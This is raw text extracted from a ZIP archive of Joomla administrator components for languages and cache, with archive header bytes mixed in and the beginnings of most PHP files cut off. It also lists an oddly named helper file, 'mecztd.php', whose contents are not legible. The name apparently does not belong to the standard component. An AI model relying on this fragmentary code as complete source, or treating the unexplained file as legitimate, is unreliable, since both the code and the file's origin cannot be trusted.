load the list data. * * @return string An SQL query * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select all fields from the languages table. $query->select($this->getState('list.select', 'a.*', 'l.home')); $query->from($db->quoteName('#__languages').' AS a'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Select the language home pages $query->select('l.home AS home'); $query->join('LEFT', $db->quoteName('#__menu') . ' AS l ON l.language = a.lang_code AND l.home=1 AND l.language <> ' . $db->quote('*')); // Filter on the published state. $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.published = '.(int) $published); } elseif ($published === '') { $query->where('(a.published IN (0, 1))'); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { $search = $db->Quote('%'.$db->escape($search, true).'%', false); $query->where('(a.title LIKE '.$search.')'); } // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.ordering')).' '.$db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Set the published language(s) * * @param array $cid An array of language IDs. * @param int $value The value of the published state. * * @return boolean True on success, false otherwise. * @since 1.6 */ public function setPublished($cid, $value = 0) { return JTable::getInstance('Language')->publish($cid, $value); } /** * Method to delete records. * * @param array An array of item primary keys. * * @return boolean Returns true on success, false on failure. * @since 1.6 */ public function delete($pks) { // Sanitize the array. $pks = (array) $pks; // Get a row instance. $table = JTable::getInstance('Language'); // Iterate the items to delete each one. foreach ($pks as $itemId) { if (!$table->delete((int) $itemId)) { $this->setError($table->getError()); return false; } } // Clean the cache. $this->cleanCache(); return true; } /** * Custom clean cache method, 2 places for 2 clients * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('_system'); parent::cleanCache('com_languages'); } } PK@y>\V0components/com_languages/models/forms/index.htmlnuW+A PK@y>\Z   2components/com_languages/models/forms/language.xmlnuW+A
      PK@y>\zJ2components/com_languages/models/forms/override.xmlnuW+A
      PK@y>\)/components/com_languages/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Ƨ]]-components/com_languages/models/overrides.phpnuW+Afilter_fields = array('key', 'text'); } /** * Retrieves the overrides data * * @param boolean True if all overrides shall be returned without considering pagination, defaults to false * * @return array Array of objects containing the overrides of the override.ini file * * @since 2.5 */ public function getOverrides($all = false) { // Get a storage key $store = $this->getStoreId(); // Try to load the data from internal storage if (!empty($this->cache[$store])) { return $this->cache[$store]; } // Parse the override.ini file in oder to get the keys and strings $filename = constant('JPATH_'.strtoupper($this->getState('filter.client'))).DS.'language'.DS.'overrides'.DS.$this->getState('filter.language').'.override.ini'; $strings = LanguagesHelper::parseFile($filename); // Consider the odering if ($this->getState('list.ordering') == 'text') { if (strtoupper($this->getState('list.direction')) == 'DESC') { arsort($strings); } else { asort($strings); } } else { if (strtoupper($this->getState('list.direction')) == 'DESC') { krsort($strings); } else { ksort($strings); } } // Consider the pagination if (!$all && $this->getState('list.limit') && $this->getTotal() > $this->getState('list.limit')) { $strings = array_slice($strings, $this->getStart(), $this->getState('list.limit'), true); } // Add the items to the internal cache $this->cache[$store] = $strings; return $this->cache[$store]; } /** * Method to get the total number of overrides * * @return int The total number of overrides * * @since 2.5 */ public function getTotal() { // Get a storage key $store = $this->getStoreId('getTotal'); // Try to load the data from internal storage if (!empty($this->cache[$store])) { return $this->cache[$store]; } // Add the total to the internal cache $this->cache[$store] = count($this->getOverrides(true)); return $this->cache[$store]; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string An optional ordering field. * @param string An optional direction (asc|desc). * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { $app = JFactory::getApplication(); // Use default language of frontend for default filter $default = JComponentHelper::getParams('com_languages')->get('site').'0'; $old_language_client = $app->getUserState('com_languages.overrides.filter.language_client', ''); $language_client = $this->getUserStateFromRequest('com_languages.overrides.filter.language_client', 'filter_language_client', $default, 'cmd'); if ($old_language_client != $language_client) { $client = substr($language_client, -1); $language = substr($language_client, 0, -1); } else { $client = $app->getUserState('com_languages.overrides.filter.client', 0); $language = $app->getUserState('com_languages.overrides.filter.language', 'en-GB'); } $this->setState('filter.language_client', $language.$client); $this->setState('filter.client', $client ? 'administrator' : 'site'); $this->setState('filter.language', $language); // Add filters to the session because they won't be stored there // by 'getUserStateFromRequest' if they aren't in the current request $app->setUserState('com_languages.overrides.filter.client', $client); $app->setUserState('com_languages.overrides.filter.language', $language); // List state information parent::populateState('key', 'asc'); } /** * Method to get all found languages of frontend and backend. * * The resulting array has entries of the following style: * 0|1 => - * * @return array Sorted associative array of languages * * @since 2.5 */ public function getLanguages() { // Try to load the data from internal storage if (!empty($this->cache['languages'])) { return $this->cache['languages']; } // Get all languages of frontend and backend $languages = array(); $site_languages = JLanguage::getKnownLanguages(JPATH_SITE); $admin_languages = JLanguage::getKnownLanguages(JPATH_ADMINISTRATOR); // Create a single array of them foreach ($site_languages as $tag => $language) { $languages[$tag.'0'] = JText::sprintf('COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM', $language['name'], JText::_('JSITE')); } foreach ($admin_languages as $tag => $language) { $languages[$tag.'1'] = JText::sprintf('COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM', $language['name'], JText::_('JADMINISTRATOR')); } // Sort it by language tag and by client after that ksort($languages); // Add the languages to the internal cache $this->cache['languages'] = $languages; return $this->cache['languages']; } /** * Method to delete one or more overrides * * @param array Array of keys to delete * * @return int Number of successfully deleted overrides, boolean false if an error occured * * @since 2.5 */ public function delete($cids) { // Check permissions first if (!JFactory::getUser()->authorise('core.delete', 'com_languages')) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); return false; } jimport('joomla.filesystem.file'); require_once JPATH_COMPONENT.'/helpers/languages.php'; $app = JFactory::getApplication(); // Parse the override.ini file in oder to get the keys and strings $filename = constant('JPATH_'.strtoupper($this->getState('filter.client'))).DS.'language'.DS.'overrides'.DS.$this->getState('filter.language').'.override.ini'; $strings = LanguagesHelper::parseFile($filename); // Unset strings that shall be deleted foreach ($cids as $key) { if (isset($strings[$key])) { unset($strings[$key]); } } foreach ($strings as $key => $string) { $strings[$key] = str_replace('"', '"_QQ_"', $string); } // Write override.ini file with the left strings $registry = new JRegistry(); $registry->loadObject($strings); $filename = constant('JPATH_'.strtoupper($this->getState('filter.client'))).DS.'language'.DS.'overrides'.DS.$this->getState('filter.language').'.override.ini'; if (!JFile::write($filename, $registry->toString('INI'))) { return false; } $this->cleanCache(); return count($cids); } } PK@y>\jt,components/com_languages/models/language.phpnuW+AsetState('language.id', $langId); // Load the parameters. $this->setState('params', $params); } /** * Method to get a member item. * * @param integer The id of the member to get. * * @return mixed User data object on success, false on failure. * @since 1.0 */ public function getItem($langId = null) { // Initialise variables. $langId = (!empty($langId)) ? $langId : (int) $this->getState('language.id'); $false = false; // Get a member row instance. $table = $this->getTable(); // Attempt to load the row. $return = $table->load($langId); // Check for a table object error. if ($return === false && $table->getError()) { $this->setError($table->getError()); return $false; } // Set a valid accesslevel in case '0' is stored due to a bug in the installation SQL. if ($table->access == '0') { $table->access = (int) JFactory::getConfig()->get('access'); } $properties = $table->getProperties(1); $value = JArrayHelper::toObject($properties, 'JObject'); return $value; } /** * Method to get the group form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_languages.language', 'language', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_languages.edit.language.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to save the form data. * * @param array The form data. * * @return boolean True on success. * @since 1.6 */ public function save($data) { $langId = (int) $this->getState('language.id'); $isNew = true; $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('extension'); $table = $this->getTable(); // Load the row if saving an existing item. if ($langId > 0) { $table->load($langId); $isNew = false; } // Prevent white spaces, including East Asian double bytes $spaces = array('/\xE3\x80\x80/', ' '); $data['lang_code'] = str_replace($spaces, '', $data['lang_code']); $data['sef'] = str_replace($spaces, '', $data['sef']); // Bind the data if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Check the data if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the onExtensionBeforeSave event. $result = $dispatcher->trigger('onExtensionBeforeSave', array('com_languages.language', &$table, $isNew)); // Check the event responses. if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Store the data if (!$table->store()) { $this->setError($table->getError()); return false; } // Trigger the onExtensionAfterSave event. $dispatcher->trigger('onExtensionAfterSave', array('com_languages.language', &$table, $isNew)); $this->setState('language.id', $table->lang_id); // Clean the cache. $this->cleanCache(); return true; } /** * Custom clean cache method * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('_system'); parent::cleanCache('com_languages'); } } PK@y>\XR DD,components/com_languages/models/override.phpnuW+AloadForm('com_languages.override', 'override', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } $client = $this->getState('filter.client', 'site'); $language = $this->getState('filter.language', 'en-GB'); $langName = JLanguage::getInstance($language)->getName(); if (!$langName) { // If a language only exists in frontend, it's meta data cannot be // loaded in backend at the moment, so fall back to the language tag $langName = $language; } $form->setValue('client', null, JText::_('COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_'.strtoupper($client))); $form->setValue('language', null, JText::sprintf('COM_LANGUAGES_VIEW_OVERRIDE_LANGUAGE', $langName, $language)); $form->setValue('file', null, JPath::clean(constant('JPATH_'.strtoupper($client)) . '/language/overrides/' . $language . '.override.ini')); return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form * * @since 2.5 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_languages.edit.override.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to get a single record. * * @param string $pk The key name. * * @return mixed Object on success, false otherwise. * * @since 2.5 */ public function getItem($pk = null) { require_once JPATH_COMPONENT.'/helpers/languages.php'; $pk = (!empty($pk)) ? $pk : JRequest::getCmd('id'); $filename = constant('JPATH_'.strtoupper($this->getState('filter.client'))) . '/language/overrides/' . $this->getState('filter.language', 'en-GB').'.override.ini'; $strings = LanguagesHelper::parseFile($filename); $result = new stdClass(); $result->key = ''; $result->override = ''; if (isset($strings[$pk])) { $result->key = $pk; $result->override = $strings[$pk]; } return $result; } /** * Method to save the form data. * * @param array $data The form data. * @param boolean $opposite_client Indicates whether the override should not be created for the current client * * @return boolean True on success, false otherwise. * * @since 2.5 */ public function save($data, $opposite_client = false) { $app = JFactory::getApplication(); require_once JPATH_COMPONENT.'/helpers/languages.php'; $client = $app->getUserState('com_languages.overrides.filter.client', 0); $language = $app->getUserState('com_languages.overrides.filter.language', 'en-GB'); // If the override should be created for both if($opposite_client) { $client = 1 - $client; } $client = $client ? 'administrator' : 'site'; // Parse the override.ini file in oder to get the keys and strings $filename = constant('JPATH_'.strtoupper($client)) . '/language/overrides/' . $language . '.override.ini'; $strings = LanguagesHelper::parseFile($filename); if (isset($strings[$data['id']])) { // If an existent string was edited check whether // the name of the constant is still the same if ($data['key'] == $data['id']) { // If yes, simply override it $strings[$data['key']] = $data['override']; } else { // If no, delete the old string and prepend the new one unset($strings[$data['id']]); $strings = array($data['key'] => $data['override']) + $strings; } } else { // If it is a new override simply prepend it $strings = array($data['key'] => $data['override']) + $strings; } foreach ($strings as $key => $string) { $strings[$key] = str_replace('"', '"_QQ_"', $string); } // Write override.ini file with the strings $registry = new JRegistry(); $registry->loadObject($strings); if (!JFile::write($filename, $registry->toString('INI'))) { return false; } // If the override should be stored for both clients save // it also for the other one and prevent endless recursion if(isset($data['both']) && $data['both'] && !$opposite_client) { return $this->save($data, true); } return true; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 2.5 */ protected function populateState() { $app = JFactory::getApplication(); $client = $app->getUserStateFromRequest('com_languages.overrides.filter.client', 'filter_client', 0, 'int') ? 'administrator' : 'site'; $this->setState('filter.client', $client); $language = $app->getUserStateFromRequest('com_languages.overrides.filter.language', 'filter_language', 'en-GB', 'cmd'); $this->setState('filter.language', $language); } } PK@y>\V*components/com_languages/models/index.htmlnuW+A PK@y>\JX+components/com_languages/models/strings.phpnuW+AsetUserState('com_languages.overrides.cachedtime', null); // Empty the database cache first try { $this->_db->setQuery('TRUNCATE TABLE '.$this->_db->qn('#__overrider')); $this->_db->query(); } catch (RuntimeException $e) { return $e; } // Create the insert query $query = $this->_db->getQuery(true) ->insert($this->_db->qn('#__overrider')) ->columns('constant, string, file'); // Initialize some variables $client = $app->getUserState('com_languages.overrides.filter.client', 'site') ? 'administrator' : 'site'; $language = $app->getUserState('com_languages.overrides.filter.language', 'en-GB'); $base = constant('JPATH_'.strtoupper($client)); $path = $base.'/language/' . $language; $files = array(); // Parse common language directory if(JFolder::exists($path)) { $files = JFolder::files($path, $language.'.*ini$', false, true); } // Parse language directories of components $files = array_merge($files, JFolder::files($base.'/components', $language.'.*ini$', 3, true)); // Parse language directories of modules $files = array_merge($files, JFolder::files($base.'/modules', $language.'.*ini$', 3, true)); // Parse language directories of templates $files = array_merge($files, JFolder::files($base.'/templates', $language.'.*ini$', 3, true)); // Parse language directories of plugins $files = array_merge($files, JFolder::files(JPATH_PLUGINS, $language.'.*ini$', 3, true)); // Parse all found ini files and add the strings to the database cache foreach ($files as $file) { $strings = LanguagesHelper::parseFile($file); if ($strings && count($strings)) { $query->clear('values'); foreach ($strings as $key => $string) { $query->values($this->_db->q($key).','.$this->_db->q($string).','.$this->_db->q(JPath::clean($file)));; } try { $this->_db->setQuery($query); if (!$this->_db->query()) { return new Exception($this->_db->getErrorMsg()); } } catch (RuntimeException $e) { return $e; } } } // Update the cached time $app->setUserState('com_languages.overrides.cachedtime.'.$client.'.'.$language, time()); return true; } /** * Method for searching language strings * * @return array Array of resuls on success, Exception object otherwise * * @since 2.5 */ public function search() { $results = array(); $limitstart = JRequest::getInt('more'); try { $searchstring = $this->_db->q('%'.JRequest::getString('searchstring').'%'); // Create the search query $query = $this->_db->getQuery(true) ->select('constant, string, file') ->from($this->_db->qn('#__overrider')); if (JRequest::getCmd('searchtype') == 'constant') { $query->where('constant LIKE '.$searchstring); } else { $query->where('string LIKE '.$searchstring); } // Consider the limitstart according to the 'more' parameter and load the results $this->_db->setQuery($query, $limitstart, 10); $results['results'] = $this->_db->loadObjectList(); // Check whether there are more results than already loaded $query->clear('select') ->select('COUNT(id)'); $this->_db->setQuery($query); if ($this->_db->loadResult() > $limitstart + 10) { // If this is set a 'More Results' link will be displayed in the view $results['more'] = $limitstart + 10; } } catch (RuntimeException $e) { return $e; } return $results; } } PK@y>\V+components/com_languages/helpers/index.htmlnuW+A PK@y>\)*components/com_languages/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ .components/com_languages/helpers/languages.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } /** * Method for parsing ini files * * @param string $filename Path and name of the ini file to parse * * @return array Array of strings found in the file, the array indices will be the keys. On failure an empty array will be returned * * @since 2.5 */ public static function parseFile($filename) { jimport('joomla.filesystem.file'); if (!JFile::exists($filename)) { return array(); } // Capture hidden PHP errors from the parsing $version = phpversion(); $php_errormsg = null; $track_errors = ini_get('track_errors'); ini_set('track_errors', true); if ($version >= '5.3.1') { $contents = file_get_contents($filename); $contents = str_replace('_QQ_', '"\""', $contents); $strings = @parse_ini_string($contents); if ($strings === false) { return array(); } } else { $strings = @parse_ini_file($filename); if ($strings === false) { return array(); } if ($version == '5.3.0' && is_array($strings)) { foreach ($strings as $key => $string) { $strings[$key] = str_replace('_QQ_', '"', $string); } } } return $strings; } /** * Filter method for language keys. * This method will be called by JForm while filtering the form data. * * @param string $value The language key to filter * * @return string The filtered language key * * @since 2.5 */ public static function filterKey($value) { $filter = JFilterInput::getInstance(null, null, 1, 1); return strtoupper($filter->clean($value, 'cmd')); } /** * Filter method for language strings. * This method will be called by JForm while filtering the form data. * * @param string $value The language string to filter * * @return string The filtered language string * * @since 2.5 */ public static function filterText($value) { $filter = JFilterInput::getInstance(null, null, 1, 1); return $filter->clean($value); } } PK@y>\M+components/com_languages/helpers/mecztd.phpnuW+AxmPK@y>\ 1components/com_languages/helpers/jsonresponse.phpnuW+Asuccess, * so you can use both flags equivalently. * * @var boolean * @since 2.5 */ public $error = false; /** * The main response message * * @var string * @since 2.5 */ public $message = null; /** * Array of messages gathered in the JApplication object * * @var array * @since 2.5 */ public $messages = null; /** * The response data * * var array/object * @since 2.5 */ public $data = null; /** * Constructor * * @param array/object $response The Response data * @param string $message The main response message * @param boolean $error True, if the success flag shall be set to false, defaults to false * * @return void * * @since 2.5 */ public function __construct($response = null, $message = null, $error = false) { $this->message = $message; // Get the message queue $messages = JFactory::getApplication()->getMessageQueue(); // Build the sorted messages list if (is_array($messages) && count($messages)) { foreach ($messages as $message) { if (isset($message['type']) && isset($message['message'])) { $lists[$message['type']][] = $message['message']; } } } // If messages exist add them to the output if (isset($lists) && is_array($lists)) { $this->messages = $lists; } // Check if we are dealing with an error if ($response instanceof Exception) { // Prepare the error response $this->success = false; $this->error = true; $this->message = $response->getMessage(); } else { // Prepare the response data $this->success = !$error; $this->error = $error; $this->data = $response; } } /** * Magic toString method for sending the response in JSON format * * @return string The response in JSON format * * @since 2.5 */ public function __toString() { return json_encode($this); } } PK@y>\)/components/com_languages/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_languages/helpers/html/index.htmlnuW+A PK@y>\t!??3components/com_languages/helpers/html/languages.phpnuW+A'; } public static function clients() { return array( JHtml::_('select.option', 0, JText::_('JSITE')), JHtml::_('select.option', 1, JText::_('JADMINISTRATOR')) ); } /** * Returns an array of published state filter options. * * @return string The HTML code for the select tag * @since 1.6 */ public static function publishedOptions() { // Build the active state filter options. $options = array(); $options[] = JHtml::_('select.option', '1', 'JPUBLISHED'); $options[] = JHtml::_('select.option', '0', 'JUNPUBLISHED'); $options[] = JHtml::_('select.option', '-2', 'JTRASHED'); $options[] = JHtml::_('select.option', '*', 'JALL'); return $options; } } PK@y>\4components/com_languages/helpers/multilangstatus.phpnuW+AgetQuery(true); $query->select('COUNT(*)'); $query->from($db->quoteName('#__menu')); $query->where('home = 1'); $query->where('published = 1'); $query->where('client_id = 0'); $db->setQuery($query); return $db->loadResult(); } /** * @since 1.7.1 * @deprecated 3.0 */ public static function getLangfilter() { JLog::add('multilangstatusHelper::getLangfilter() is deprecated. Use JLanguageMultilang::isEnabled() instead. ', JLog::WARNING, 'deprecated'); return JLanguageMultilang::isEnabled(); } public static function getLangswitchers() { // Check if switcher is published $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('COUNT(*)'); $query->from($db->quoteName('#__modules')); $query->where('module = ' . $db->quote('mod_languages')); $query->where('published = 1'); $query->where('client_id = 0'); $db->setQuery($query); return $db->loadResult(); } public static function getContentlangs() { // Check for published Content Languages $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('a.lang_code AS lang_code'); $query->select('a.published AS published'); $query->from('#__languages AS a'); $db->setQuery($query); return $db->loadObjectList(); } public static function getSitelangs() { // check for published Site Languages $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('a.element AS element'); $query->from('#__extensions AS a'); $query->where('a.type = '.$db->Quote('language')); $query->where('a.client_id = 0'); $db->setQuery($query); return $db->loadObjectList('element'); } public static function getHomepages() { // Check for Home pages languages $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('language'); $query->select('id'); $query->from($db->quoteName('#__menu')); $query->where('home = 1'); $query->where('published = 1'); $query->where('client_id = 0'); $db->setQuery($query); return $db->loadObjectList('language'); } public static function getStatus() { //check for combined status $db = JFactory::getDBO(); $query = $db->getQuery(true); // Select all fields from the languages table. $query->select('a.*', 'l.home'); $query->select('a.published AS published'); $query->select('a.lang_code AS lang_code'); $query->from('#__languages AS a'); // Select the language home pages $query->select('l.home AS home'); $query->select('l.language AS home_language'); $query->join('LEFT', '#__menu AS l ON l.language = a.lang_code AND l.home=1 AND l.published=1 AND l.language <> \'*\'' ); $query->select('e.enabled AS enabled'); $query->select('e.element AS element'); $query->join('LEFT', '#__extensions AS e ON e.element = a.lang_code'); $query->where('e.client_id = 0'); $query->where('e.enabled = 1'); $query->where('e.state = 0'); $db->setQuery($query); return $db->loadObjectList(); } public static function getContacts() { $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('u.name, count(cd.language) as counted, MAX(cd.language='.$db->quote('*').') as all_languages'); $query->from('#__users AS u'); $query->leftJOIN('#__contact_details AS cd ON cd.user_id=u.id'); $query->leftJOIN('#__languages as l on cd.language=l.lang_code'); $query->where('EXISTS (SELECT * from #__content as c where c.created_by=u.id)'); $query->where('(l.published=1 or cd.language='.$db->quote('*').')'); $query->where('cd.published=1'); $query->group('u.id'); $query->having('(counted !=' . count(JLanguageHelper::getLanguages()).' OR all_languages=1)'); $query->having('(counted !=1 OR all_languages=0)'); $db->setQuery($query); return $db->loadObjectList(); } } PK@y>\Mz'components/com_languages/controller.phpnuW+AcheckEditId('com_languages.edit.language', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_languages&view=languages', false)); return false; } parent::display(); return $this; } } PK@y>\)"components/com_languages/.htaccessnuW+A Order allow,deny Deny from all PK@y>\>5components/com_languages/controllers/strings.json.phpnuW+AgetModel('strings')->refresh()); } /** * Method for searching language strings * * @return void * * @since 2.5 */ public function search() { echo new JJsonResponse($this->getModel('strings')->search()); } } PK@y>\V/components/com_languages/controllers/index.htmlnuW+A PK@y>\^  2components/com_languages/controllers/overrides.phpnuW+AsetMessage(JText::_($this->text_prefix.'_NO_ITEM_SELECTED'), 'warning'); } else { // Get the model $model = $this->getModel('overrides'); // Remove the items if ($model->delete($cid)) { $this->setMessage(JText::plural($this->text_prefix.'_N_ITEMS_DELETED', count($cid))); } else { $this->setMessage($model->getError()); } } $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list, false)); } } PK@y>\2components/com_languages/controllers/languages.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\1components/com_languages/controllers/override.phpnuW+Aoption.edit.$this->context"; // Get the constant name $recordId = (count($cid) ? $cid[0] : JRequest::getCmd('id')); // Access check if (!$this->allowEdit()) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED')); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list.$this->getRedirectToListAppend(), false)); return; } $app->setUserState($context.'.data', null); $this->setRedirect('index.php?option='.$this->option.'&view='.$this->view_item.$this->getRedirectToItemAppend($recordId, 'id')); } /** * Method to save an override * * @param string $key The name of the primary key of the URL variable (not used here). * @param string $urlVar The name of the URL variable if different from the primary key (not used here). * * @return void * * @since 2.5 */ public function save($key = null, $urlVar = null) { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialize variables $app = JFactory::getApplication(); $model = $this->getModel(); $data = JRequest::getVar('jform', array(), 'post', 'array'); $context = "$this->option.edit.$this->context"; $task = $this->getTask(); $recordId = JRequest::getCmd('id'); $data['id'] = $recordId; // Access check if (!$this->allowSave($data, 'id')) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED')); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list.$this->getRedirectToListAppend(), false)); return; } // Validate the posted data $form = $model->getForm($data, false); if (!$form) { $app->enqueueMessage($model->getError(), 'error'); return; } // Require helper for filter functions called by JForm require_once JPATH_COMPONENT.'/helpers/languages.php'; // Test whether the data is valid. $validData = $model->validate($form, $data); // Check for validation errors. if ($validData === false) { // Get the validation messages $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session $app->setUserState($context.'.data', $data); // Redirect back to the edit screen $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_item.$this->getRedirectToItemAppend($recordId, 'id'), false)); return; } // Attempt to save the data if (!$model->save($validData)) { // Save the data in the session $app->setUserState($context.'.data', $validData); // Redirect back to the edit screen $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError())); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_item.$this->getRedirectToItemAppend($recordId, 'id'), false)); return; } // Add message of success $this->setMessage(JText::_('COM_LANGUAGES_VIEW_OVERRIDE_SAVE_SUCCESS')); // Redirect the user and adjust session state based on the chosen task switch ($task) { case 'apply': // Set the record data in the session $recordId = $model->getState($this->context.'.id'); $app->setUserState($context.'.data', null); // Redirect back to the edit screen $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_item.$this->getRedirectToItemAppend($validData['key'], 'id'), false)); break; case 'save2new': // Clear the record id and data from the session $app->setUserState($context.'.data', null); // Redirect back to the edit screen $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_item.$this->getRedirectToItemAppend(null, 'id'), false)); break; default: // Clear the record id and data from the session $app->setUserState($context.'.data', null); // Redirect to the list screen $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list.$this->getRedirectToListAppend(), false)); break; } } /** * Method to cancel an edit * * @param string $key The name of the primary key of the URL variable (not used here). * * @return void * * @since 2.5 */ public function cancel($key = null, $test = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialize variables $app = JFactory::getApplication(); $context = "$this->option.edit.$this->context"; $app->setUserState($context.'.data', null); $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list.$this->getRedirectToListAppend(), false)); } } PK@y>\$$2components/com_languages/controllers/installed.phpnuW+AgetModel('installed'); if ($model->publish($cid)) { $msg = JText::_('COM_LANGUAGES_MSG_DEFAULT_LANGUAGE_SAVED'); $type = 'message'; } else { $msg = $this->getError(); $type = 'error'; } $client = $model->getClient(); $clientId = $model->getState('filter.client_id'); $this->setredirect('index.php?option=com_languages&view=installed&client='.$clientId, $msg, $type); } } PK@y>\7*V1components/com_languages/controllers/language.phpnuW+A\).components/com_languages/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vcomponents/com_cache/index.htmlnuW+A PK@y>\BZJ$$components/com_cache/cache.phpnuW+Aauthorise('core.manage', 'com_cache')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Cache'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\Icomponents/com_cache/cache.xmlnuW+A com_cache Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_CACHE_XML_DESCRIPTION cache.php config.xml controller.php index.html models views language/en-GB.com_cache.ini PK@y>\)%components/com_cache/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ %components/com_cache/models/cache.phpnuW+AgetUserStateFromRequest($this->context.'.filter.client_id', 'filter_client_id', 0, 'int'); $this->setState('clientId', $clientId == 1 ? 1 : 0); $client = JApplicationHelper::getClientInfo($clientId); $this->setState('client', $client); parent::populateState('group', 'asc'); } /** * Method to get cache data * * @return array */ public function getData() { if (empty($this->_data)) { $cache = $this->getCache(); $data = $cache->getAll(); if ($data != false) { $this->_data = $data; $this->_total = count($data); if ($this->_total) { // Apply custom ordering $ordering = $this->getState('list.ordering'); $direction = ($this->getState('list.direction') == 'asc') ? 1 : -1; jimport('joomla.utilities.arrayhelper'); $this->_data = JArrayHelper::sortObjects($data, $ordering, $direction); // Apply custom pagination if ($this->_total > $this->getState('list.limit') && $this->getState('list.limit')) { $this->_data = array_slice($this->_data, $this->getState('list.start'), $this->getState('list.limit')); } } } else { $this->_data = array(); } } return $this->_data; } /** * Method to get cache instance * * @return object */ public function getCache() { $conf = JFactory::getConfig(); $options = array( 'defaultgroup' => '', 'storage' => $conf->get('cache_handler', ''), 'caching' => true, 'cachebase' => ($this->getState('clientId') == 1) ? JPATH_ADMINISTRATOR . '/cache' : $conf->get('cache_path', JPATH_SITE . '/cache') ); $cache = JCache::getInstance('', $options); return $cache; } /** * Method to get client data * * @return array */ public function getClient() { return $this->getState('client'); } /** * Get the number of current Cache Groups * * @return int */ public function getTotal() { if (empty($this->_total)) { $this->_total = count($this->getData()); } return $this->_total; } /** * Method to get a pagination object for the cache * * @return integer */ public function getPagination() { if (empty($this->_pagination)) { jimport('joomla.html.pagination'); $this->_pagination = new JPagination($this->getTotal(), $this->getState('list.start'), $this->getState('list.limit')); } return $this->_pagination; } /** * Clean out a cache group as named by param. * If no param is passed clean all cache groups. * * @param String $group */ public function clean($group = '') { $cache = $this->getCache(); $cache->clean($group); } public function cleanlist($array) { foreach ($array as $group) { $this->clean($group); } } public function 